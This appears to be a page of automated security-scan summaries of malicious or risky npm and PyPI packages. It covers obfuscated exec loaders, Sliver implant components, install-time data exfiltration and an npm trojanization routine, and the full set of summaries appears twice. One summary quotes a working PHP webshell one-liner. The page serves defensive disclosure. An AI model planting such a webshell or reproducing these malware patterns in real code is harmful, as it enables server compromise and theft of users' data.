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This file intentionally hides its actual code inside a base64+zlib blob and immediately executes it via exec(), making static review impossible without decompression. That pattern is a high-risk supply-chain/sabotage indicator. While the outer wrapper alone is not proof of active malware, it creates a strong possibility of malicious or unexpected behavior. Do not run this code on production or sensitive hosts; decompress and audit the embedded payload in an isolated environment before use.

The code contains a critical remote deserialization vulnerability via pickle.loads of data fetched from an external source, creating a clear path for remote code execution. Combined with disabled TLS verification and insecure temp-file data exchange, this represents a severe security risk and supply-chain weakness. Remediation should remove remote pickle processing, replace with safe JSON parsing/validation, enable TLS verification, and eliminate insecure temporary storage mechanisms.

This source file is a code generator for Sliver implants: it renders embedded Go templates with configuration, generates cryptographic keys/certificates/secrets, writes source files to disk, invokes Go and native compilers to build platform-specific implants, and produces binaries or shellcode. The code itself does not appear obfuscated and does not directly exfiltrate data, but it intentionally creates backdoor/C2 client artifacts and embeds sensitive secrets. In a supply-chain context this is high-risk: it can produce malicious binaries, embed private keys, and rely on environment-controlled toolchain paths (which an attacker could abuse). Treat inclusion of this package as dangerous unless its use is explicitly intended for trusted red-team operations and the build environment is tightly controlled.

This file is part of a C2/implant framework (Sliver) and explicitly builds, retrieves, and delivers shellcode and in-memory assemblies to remote implants. Behavior includes generation of payloads, optional encoding, and remote invocation via GenericHandler — all actions that enable unauthorized remote code execution and post-exploitation operations. There are also lower-severity implementation issues (insufficient bounds checking in PE parsing and use of Fatal on parsing errors). If present in a dependency for benign software, this is a severe supply-chain red flag. Use is appropriate only in controlled/authorized contexts.

This source code is a malicious exploit script designed to remotely install a PHP webshell (vvv<?php eval($_POST[zzz]);?>) on a target web server by delivering an eval-wrapped, chr()-encoded payload via the HTTP User-Agent header and then verifying installation. Despite syntactic errors in the provided fragment, the intent, payload, and delivery mechanism are clear. Do not run this code; treat any occurrences as a high-risk compromise indicator and remove/report accordingly.

This file collects system information (home directory, hostname, user details, DNS servers, and other environment data) and transmits it to 120[.]57[.]83[.]1 via an HTTP POST request. The hardcoded external IP address, absence of user consent, and exfiltration of personal or system data indicate malicious intent.

Live on npm for 8 days, 13 hours and 38 minutes before removal. Socket users were protected even while the package was live.

The code exhibits clear signs of malicious behavior by sending hardcoded sensitive credentials to an external HTTP endpoint without consent. This constitutes data exfiltration and poses a high security risk. The code is not obfuscated but is intentionally designed to leak data. Any dependency containing this code should be considered compromised and avoided.

This assembly is highly obfuscated and contains powerful runtime unpacking and code‑injection primitives (native memory allocation, WriteProcessMemory/OpenProcess, GetProcAddress/LoadLibrary, dynamic method generation and JIT pointer manipulation) combined with network RPC/subscribe/publish capabilities. That combination enables in-memory decryption and execution of arbitrary payloads and remote-controlled behavior. Treat this package as high risk: if you do not explicitly trust the publisher and understand the protector/unpacker used, do not use it in production. Manual dynamic analysis in a sandbox is required to determine benign vs malicious intent. If this is supplied as a dependency, consider removing or replacing it with a known-audited library.

This script appears to be a simple packaging/upload helper, not obviously malicious, but it contains insecure and potentially dangerous patterns: unsanitized shell interpolation (command injection risk), use of 'sudo rm -rf' (destructive with elevation), changing working directory before destructive operations, and passing credentials on the command line (credential leakage). These issues make it risky to run in untrusted contexts or CI without hardening. There is no clear evidence of deliberate malware, but the script could be abused if inputs (pyproject.toml or environment) are tampered with.

This module contains a high-severity command injection vulnerability: untrusted input is concatenated into a shell command and executed with shell=True. While the code shows no signs of intentional malware or obfuscation, the construction allows arbitrary commands to run with the privileges of the user executing the script. Remediation: stop using shell=True with untrusted data — use subprocess.run with an argument list (shell=False), validate/whitelist package and group names, or safely quote inputs (e.g., shlex.quote) if shell usage is unavoidable. Fix the apparent syntax error in the __main__ invocation.

This code is a legitimate orchestration/deployment framework that performs remote execution, file transfer, and package installation. It contains high-risk operations (SSH with password, uploading/installing wheels, executing shell commands built from interpolated inputs, and untrusted pickle deserialization). I found no explicit obfuscated or intentionally malicious payloads in the fragment, but the combination of features makes it dangerous if inputs or the environment are untrusted. Use requires strict trust and additional hardening (input validation, artifact verification, safer deserialization, and safer command composition).

Live on PyPI for 21 hours and 5 minutes before removal. Socket users were protected even while the package was live.

The code is likely designed to collect and transmit sensitive system and project package information to a remote server without user consent, indicating possible malicious intent, especially given the suspicious nature of the remote server's domain. Additionally, the potential misuse of the response handling poses security risks.

Live on npm for 6 hours and 11 minutes before removal. Socket users were protected even while the package was live.

The code takes a base64 encoded string, decodes it, and evaluates it using the 'eval' function. This introduces a significant security risk as it allows arbitrary code execution. The code should be considered dangerous and should not be used.

Live on npm for 49 minutes before removal. Socket users were protected even while the package was live.

This install script phones home to an external service and sends the local host name along with the package identifier. That behavior constitutes telemetry and a potential data-exfiltration vector. Even if the immediate payload is just a GET request, it exposes identifying information and could be augmented to leak further data or trigger follow-up malicious activity.

This fragment intends to install and start KasmVNC by running many shell commands that create certs, write VNC password files, adjust group membership, and launch a VNC server. The primary security issues are unsafe shell interpolation (command injection risk), programmatic persistence of a possibly predictable password, execution with sudo based on unvalidated env vars, starting a VNC server exposed on 0.0.0.0 with disabled/basic auth, and multiple unsafe filesystem operations performed via shell. There is no clear evidence of obfuscated or direct exfiltration malware, but the behavior can provide an unauthorized remote access vector (backdoor-like) if used maliciously. Do not run this code without fixing shell usage, validating inputs, using secure randomly generated passwords, enforcing proper file permissions, and not disabling authentication.

The code poses significant security risks due to its functionality and exposure to the internet. While it does not exhibit overtly malicious behavior, the potential for unauthorized access and control over the local machine is high.

Live on npm for 10 minutes before removal. Socket users were protected even while the package was live.

Most of the code is standard cloud SDK and protocol handling (AWS, Google Secret Manager, serialization/deserialization, HTTP handlers) and expected in such a bundle. However, there is a highly suspicious function (NpmModule.updatePackage) that downloads a package tarball, modifies package.json, injects a local bundle.js (if present on disk), repacks, and runs npm publish. This is a strong supply-chain / trojanization pattern and should be treated as malicious. If this code is included in any dependency used in CI or developer machines with npm credentials or with access to source code, it poses a serious risk (automatic publishing of trojaned packages). I recommend removing or blocking use of the package containing NpmModule.updatePackage and auditing any environment where it ran for unauthorized publishes and credential exposure.

This code is malicious and poses a high security risk. It collects sensitive system and user information and sends it to a remote server. This information could be used for various malicious activities like identity theft, system intrusion, etc. The fact that it is sent to a 'canarytokens.com' domain, which is commonly used for threat detection and not a legitimate data collection endpoint, further supports the malicious intent.

Live on npm for 4 days, 23 hours and 8 minutes before removal. Socket users were protected even while the package was live.

This source file implements a network pivot/listener component of the Sliver implant framework, enabling encrypted peer-to-peer pivoting and forwarding of protobuf-based C2 envelopes. Behavior is consistent with a remote control implant component and therefore presents high security risk in most benign deployment contexts (it is explicitly an implant/C2 artifact). The code itself does not show obfuscation or obvious credential harvesting beyond normal C2 functionality, but it forwards potentially arbitrary data upstream and downstream which can be used for command-and-control and data exfiltration. Use of this code in a project should be considered malicious unless the package is intentionally used in an offensive security context with appropriate authorization.

The package contains a malicious preinstall script that collects local filesystem information (/opt) and uploads it to an external webhook. This is active data exfiltration and poses a high security risk; installation should be avoided and any occurrences investigated.

This module contains clear capability to read an arbitrary local file (hardcoded path in main) and upload it to a remote Telegram chat using an embedded bot token and chat id. The embedded credential and automatic upload constitute a high risk of data exfiltration if the code is run or distributed. Treat the token as compromised, revoke it, and remediate by removing hardcoded secrets and adding authentication/confirmation and secure secret management before trusting or publishing this code.

This code automatically creates credentials in an n8n instance and then forwards user-identifying information (CustomerID, DisplayName, PhoneNumber) and the newly created credential ID to an external endpoint (paradisehrm.com). It also contains a hardcoded username and long password-like string used when posting to that external endpoint and prints API key fragments to logs. These behaviors strongly resemble unauthorized data exfiltration or at minimum a privacy-violating integration that embeds static secrets. I recommend treating this code as suspicious: remove or audit the external POST to paradisehrm.com, remove embedded secrets, and ensure any credential provisioning and data sharing is explicit and documented.

This module itself does not contain obvious obfuscated malware (no encoded payloads, hardcoded secrets, network exfiltration code). However it provides powerful primitives (subprocess with shell=True, ability to change directories, write files and open OS terminals) that allow arbitrary code execution and file modification when given untrusted inputs (steps_json, user inputs, or compromised upstream agents). Therefore the package is high-risk in supply-chain contexts: if an upstream component or dependency is malicious, this code can be used to execute arbitrary commands on the host. Use only with trusted inputs and add sanitization and restrictions before use.

Live on PyPI for 5 days, 7 hours and 42 minutes before removal. Socket users were protected even while the package was live.

This file intentionally hides its actual code inside a base64+zlib blob and immediately executes it via exec(), making static review impossible without decompression. That pattern is a high-risk supply-chain/sabotage indicator. While the outer wrapper alone is not proof of active malware, it creates a strong possibility of malicious or unexpected behavior. Do not run this code on production or sensitive hosts; decompress and audit the embedded payload in an isolated environment before use.

The code contains a critical remote deserialization vulnerability via pickle.loads of data fetched from an external source, creating a clear path for remote code execution. Combined with disabled TLS verification and insecure temp-file data exchange, this represents a severe security risk and supply-chain weakness. Remediation should remove remote pickle processing, replace with safe JSON parsing/validation, enable TLS verification, and eliminate insecure temporary storage mechanisms.

This source file is a code generator for Sliver implants: it renders embedded Go templates with configuration, generates cryptographic keys/certificates/secrets, writes source files to disk, invokes Go and native compilers to build platform-specific implants, and produces binaries or shellcode. The code itself does not appear obfuscated and does not directly exfiltrate data, but it intentionally creates backdoor/C2 client artifacts and embeds sensitive secrets. In a supply-chain context this is high-risk: it can produce malicious binaries, embed private keys, and rely on environment-controlled toolchain paths (which an attacker could abuse). Treat inclusion of this package as dangerous unless its use is explicitly intended for trusted red-team operations and the build environment is tightly controlled.

This file is part of a C2/implant framework (Sliver) and explicitly builds, retrieves, and delivers shellcode and in-memory assemblies to remote implants. Behavior includes generation of payloads, optional encoding, and remote invocation via GenericHandler — all actions that enable unauthorized remote code execution and post-exploitation operations. There are also lower-severity implementation issues (insufficient bounds checking in PE parsing and use of Fatal on parsing errors). If present in a dependency for benign software, this is a severe supply-chain red flag. Use is appropriate only in controlled/authorized contexts.

This source code is a malicious exploit script designed to remotely install a PHP webshell (vvv<?php eval($_POST[zzz]);?>) on a target web server by delivering an eval-wrapped, chr()-encoded payload via the HTTP User-Agent header and then verifying installation. Despite syntactic errors in the provided fragment, the intent, payload, and delivery mechanism are clear. Do not run this code; treat any occurrences as a high-risk compromise indicator and remove/report accordingly.

This file collects system information (home directory, hostname, user details, DNS servers, and other environment data) and transmits it to 120[.]57[.]83[.]1 via an HTTP POST request. The hardcoded external IP address, absence of user consent, and exfiltration of personal or system data indicate malicious intent.

Live on npm for 8 days, 13 hours and 38 minutes before removal. Socket users were protected even while the package was live.

The code exhibits clear signs of malicious behavior by sending hardcoded sensitive credentials to an external HTTP endpoint without consent. This constitutes data exfiltration and poses a high security risk. The code is not obfuscated but is intentionally designed to leak data. Any dependency containing this code should be considered compromised and avoided.

This assembly is highly obfuscated and contains powerful runtime unpacking and code‑injection primitives (native memory allocation, WriteProcessMemory/OpenProcess, GetProcAddress/LoadLibrary, dynamic method generation and JIT pointer manipulation) combined with network RPC/subscribe/publish capabilities. That combination enables in-memory decryption and execution of arbitrary payloads and remote-controlled behavior. Treat this package as high risk: if you do not explicitly trust the publisher and understand the protector/unpacker used, do not use it in production. Manual dynamic analysis in a sandbox is required to determine benign vs malicious intent. If this is supplied as a dependency, consider removing or replacing it with a known-audited library.

This script appears to be a simple packaging/upload helper, not obviously malicious, but it contains insecure and potentially dangerous patterns: unsanitized shell interpolation (command injection risk), use of 'sudo rm -rf' (destructive with elevation), changing working directory before destructive operations, and passing credentials on the command line (credential leakage). These issues make it risky to run in untrusted contexts or CI without hardening. There is no clear evidence of deliberate malware, but the script could be abused if inputs (pyproject.toml or environment) are tampered with.

This module contains a high-severity command injection vulnerability: untrusted input is concatenated into a shell command and executed with shell=True. While the code shows no signs of intentional malware or obfuscation, the construction allows arbitrary commands to run with the privileges of the user executing the script. Remediation: stop using shell=True with untrusted data — use subprocess.run with an argument list (shell=False), validate/whitelist package and group names, or safely quote inputs (e.g., shlex.quote) if shell usage is unavoidable. Fix the apparent syntax error in the __main__ invocation.

This code is a legitimate orchestration/deployment framework that performs remote execution, file transfer, and package installation. It contains high-risk operations (SSH with password, uploading/installing wheels, executing shell commands built from interpolated inputs, and untrusted pickle deserialization). I found no explicit obfuscated or intentionally malicious payloads in the fragment, but the combination of features makes it dangerous if inputs or the environment are untrusted. Use requires strict trust and additional hardening (input validation, artifact verification, safer deserialization, and safer command composition).

Live on PyPI for 21 hours and 5 minutes before removal. Socket users were protected even while the package was live.

The code is likely designed to collect and transmit sensitive system and project package information to a remote server without user consent, indicating possible malicious intent, especially given the suspicious nature of the remote server's domain. Additionally, the potential misuse of the response handling poses security risks.

Live on npm for 6 hours and 11 minutes before removal. Socket users were protected even while the package was live.

The code takes a base64 encoded string, decodes it, and evaluates it using the 'eval' function. This introduces a significant security risk as it allows arbitrary code execution. The code should be considered dangerous and should not be used.

Live on npm for 49 minutes before removal. Socket users were protected even while the package was live.

This install script phones home to an external service and sends the local host name along with the package identifier. That behavior constitutes telemetry and a potential data-exfiltration vector. Even if the immediate payload is just a GET request, it exposes identifying information and could be augmented to leak further data or trigger follow-up malicious activity.

This fragment intends to install and start KasmVNC by running many shell commands that create certs, write VNC password files, adjust group membership, and launch a VNC server. The primary security issues are unsafe shell interpolation (command injection risk), programmatic persistence of a possibly predictable password, execution with sudo based on unvalidated env vars, starting a VNC server exposed on 0.0.0.0 with disabled/basic auth, and multiple unsafe filesystem operations performed via shell. There is no clear evidence of obfuscated or direct exfiltration malware, but the behavior can provide an unauthorized remote access vector (backdoor-like) if used maliciously. Do not run this code without fixing shell usage, validating inputs, using secure randomly generated passwords, enforcing proper file permissions, and not disabling authentication.

The code poses significant security risks due to its functionality and exposure to the internet. While it does not exhibit overtly malicious behavior, the potential for unauthorized access and control over the local machine is high.

Live on npm for 10 minutes before removal. Socket users were protected even while the package was live.

Most of the code is standard cloud SDK and protocol handling (AWS, Google Secret Manager, serialization/deserialization, HTTP handlers) and expected in such a bundle. However, there is a highly suspicious function (NpmModule.updatePackage) that downloads a package tarball, modifies package.json, injects a local bundle.js (if present on disk), repacks, and runs npm publish. This is a strong supply-chain / trojanization pattern and should be treated as malicious. If this code is included in any dependency used in CI or developer machines with npm credentials or with access to source code, it poses a serious risk (automatic publishing of trojaned packages). I recommend removing or blocking use of the package containing NpmModule.updatePackage and auditing any environment where it ran for unauthorized publishes and credential exposure.

This code is malicious and poses a high security risk. It collects sensitive system and user information and sends it to a remote server. This information could be used for various malicious activities like identity theft, system intrusion, etc. The fact that it is sent to a 'canarytokens.com' domain, which is commonly used for threat detection and not a legitimate data collection endpoint, further supports the malicious intent.

Live on npm for 4 days, 23 hours and 8 minutes before removal. Socket users were protected even while the package was live.

This source file implements a network pivot/listener component of the Sliver implant framework, enabling encrypted peer-to-peer pivoting and forwarding of protobuf-based C2 envelopes. Behavior is consistent with a remote control implant component and therefore presents high security risk in most benign deployment contexts (it is explicitly an implant/C2 artifact). The code itself does not show obfuscation or obvious credential harvesting beyond normal C2 functionality, but it forwards potentially arbitrary data upstream and downstream which can be used for command-and-control and data exfiltration. Use of this code in a project should be considered malicious unless the package is intentionally used in an offensive security context with appropriate authorization.

The package contains a malicious preinstall script that collects local filesystem information (/opt) and uploads it to an external webhook. This is active data exfiltration and poses a high security risk; installation should be avoided and any occurrences investigated.

This module contains clear capability to read an arbitrary local file (hardcoded path in main) and upload it to a remote Telegram chat using an embedded bot token and chat id. The embedded credential and automatic upload constitute a high risk of data exfiltration if the code is run or distributed. Treat the token as compromised, revoke it, and remediate by removing hardcoded secrets and adding authentication/confirmation and secure secret management before trusting or publishing this code.

This code automatically creates credentials in an n8n instance and then forwards user-identifying information (CustomerID, DisplayName, PhoneNumber) and the newly created credential ID to an external endpoint (paradisehrm.com). It also contains a hardcoded username and long password-like string used when posting to that external endpoint and prints API key fragments to logs. These behaviors strongly resemble unauthorized data exfiltration or at minimum a privacy-violating integration that embeds static secrets. I recommend treating this code as suspicious: remove or audit the external POST to paradisehrm.com, remove embedded secrets, and ensure any credential provisioning and data sharing is explicit and documented.

This module itself does not contain obvious obfuscated malware (no encoded payloads, hardcoded secrets, network exfiltration code). However it provides powerful primitives (subprocess with shell=True, ability to change directories, write files and open OS terminals) that allow arbitrary code execution and file modification when given untrusted inputs (steps_json, user inputs, or compromised upstream agents). Therefore the package is high-risk in supply-chain contexts: if an upstream component or dependency is malicious, this code can be used to execute arbitrary commands on the host. Use only with trusted inputs and add sanitization and restrictions before use.

Live on PyPI for 5 days, 7 hours and 42 minutes before removal. Socket users were protected even while the package was live.